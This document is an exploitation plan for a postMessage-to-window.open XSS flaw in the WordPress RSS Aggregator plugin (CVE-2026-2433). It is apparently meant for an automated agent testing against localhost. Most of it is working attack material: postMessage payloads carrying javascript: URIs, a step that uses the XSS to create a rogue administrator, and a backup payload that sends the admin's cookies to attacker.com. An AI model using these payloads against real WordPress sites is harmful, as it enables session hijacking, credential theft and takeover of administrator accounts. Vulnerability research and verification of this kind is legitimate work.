Exploitation Research Plan - CVE-2026-2433

1. Vulnerability Summary

The RSS Aggregator plugin (versions <= 5.0.11) contains a DOM-based reflected Cross-Site Scripting (XSS) vulnerability. The vulnerability exists in the core/js/admin-shell.js file, which manages the plugin's administrative user interface. The script registers a global message event listener to facilitate communication between the main WordPress admin window (the "shell") and an internal iframe (the "frame").

The listener fails to validate the origin of incoming postMessage events and subsequently passes a user-controlled URL from the message payload directly into window.open(). Because window.open() accepts javascript: URIs and no scheme validation is performed, an attacker can execute arbitrary JavaScript in the context of the administrator's session.

2. Attack Vector Analysis

• Target Page: /wp-admin/admin.php?page=wprss-aggregator
• Vulnerable Script: core/js/admin-shell.js (Enqueued as wpra-admin-shell)
• Message Event Listener: window.addEventListener("message", ...)
• Trigger Message Type: wpra:openUrl (defined as FrameMessage.openUrl)
• Payload Parameter: payload.url
• Authentication Requirement: The victim must be an authenticated administrator capable of accessing the plugin's admin page.
• Precondition: The victim must be tricked into visiting a malicious website while their WordPress admin session is active.

3. Code Flow

1. Listener Registration: In core/js/admin-shell.js, the WpraAdminApp class calls this.frame.onReceive(FrameMessage.openUrl, ...) inside its listenForMessages() method.
2. Generic Listener: The onReceive method (in the AppFrame class) registers the global listener:

   onReceive(type, handler) {
     window.addEventListener("message", (event) => {
       const msg = event.data ?? {}
       if (typeof msg === "object" && (msg.type ?? "") === type) {
         handler(msg.payload)
       }
     })
   }
   

   Note: There is no if (event.origin !== ...) check here.
3. Handler Execution: When a message with type: "wpra:openUrl" is received, the handler in WpraAdminApp executes:

   this.frame.onReceive(FrameMessage.openUrl, (payload) => {
     // ... payload validation (checks if payload.url is string)
     if (payload.target) {
       window.open(payload.url, payload.target) // SINK
     } else {
       this.frame.navigate(payload.url, "openUrl")
     }
     return
   })
   

4. Sink: window.open(payload.url, payload.target) is called. If payload.url starts with javascript:, the browser executes the script in the context of the current window (especially if payload.target is _self or the name of the current window).

4. Nonce Acquisition Strategy

This vulnerability does not require a WordPress nonce.
The message event listener is registered globally on the window object immediately upon loading the /wp-admin/admin.php?page=wprss-aggregator page. It does not check for any tokens or nonces within the postMessage data before processing the wpra:openUrl request.

5. Exploitation Strategy

The goal is to demonstrate that an external site can force the WordPress admin page to execute JavaScript.

Step-by-Step Plan:

1. Victim Login: The agent will log in as an administrator.
2. Malicious Page Simulation: Since the agent cannot easily host an external site in the environment, it will simulate the "malicious site" by opening the vulnerable WordPress page in a new window/tab and then sending the postMessage.
3. The Payload:

   {
     type: "wpra:openUrl",
     payload: {
       url: "javascript:window.wpra_xss_vulnerable = true; alert('XSS: ' + document.domain);",
       target: "_self"
     }
   }
   

Execution via http_request / browser_eval:

Instead of an external site, we will use browser_navigate to go to the vulnerable page and then use browser_eval to simulate a message arriving at that window.

1. Navigate: browser_navigate("http://localhost:8080/wp-admin/admin.php?page=wprss-aggregator")
2. Trigger:

   window.postMessage({
     type: "wpra:openUrl",
     payload: {
       url: "javascript:window.wpra_xss_vulnerable = true; console.log('XSS_SUCCESS');",
       target: "_self"
     }
   }, "*");
   

6. Test Data Setup

1. Plugin Activation: Ensure wp-rss-aggregator is active.
2. User: An administrator user (e.g., admin / password).
3. No specific shortcodes or posts are required, as the script is enqueued on the main plugin settings page.

7. Expected Results

• The window.open function will be called with the javascript: URI.
• The JavaScript inside the URI will execute in the context of the WordPress admin page.
• In the simulation, window.wpra_xss_vulnerable will become true.

8. Verification Steps

1. Check Variable: Use browser_eval("window.wpra_xss_vulnerable") to check if it returns true.
2. Console Logs: Check browser logs for the string XSS_SUCCESS.
3. State Verification: Use the XSS to perform an action, such as creating a new administrator, then verify via WP-CLI:

   wp user list --role=administrator
   

9. Alternative Approaches

If _self targeting is restricted by browser security policies in the test environment, use a payload that modifies the DOM or steals the cookie:

• Payload: javascript:fetch('/wp-json/wp/v2/users/me').then(r=>r.json()).then(d=>document.body.innerHTML='HACKED: '+d.name)
• This demonstrates the ability to interact with the WordPress REST API using the administrator's authenticated session.

Backup Payload (Cookie Exfiltration Simulation):

window.postMessage({
  type: "wpra:openUrl",
  payload: {
    url: "javascript:document.location='http://attacker.com/?cookie='+btoa(document.cookie)",
    target: "_self"
  }
}, "*");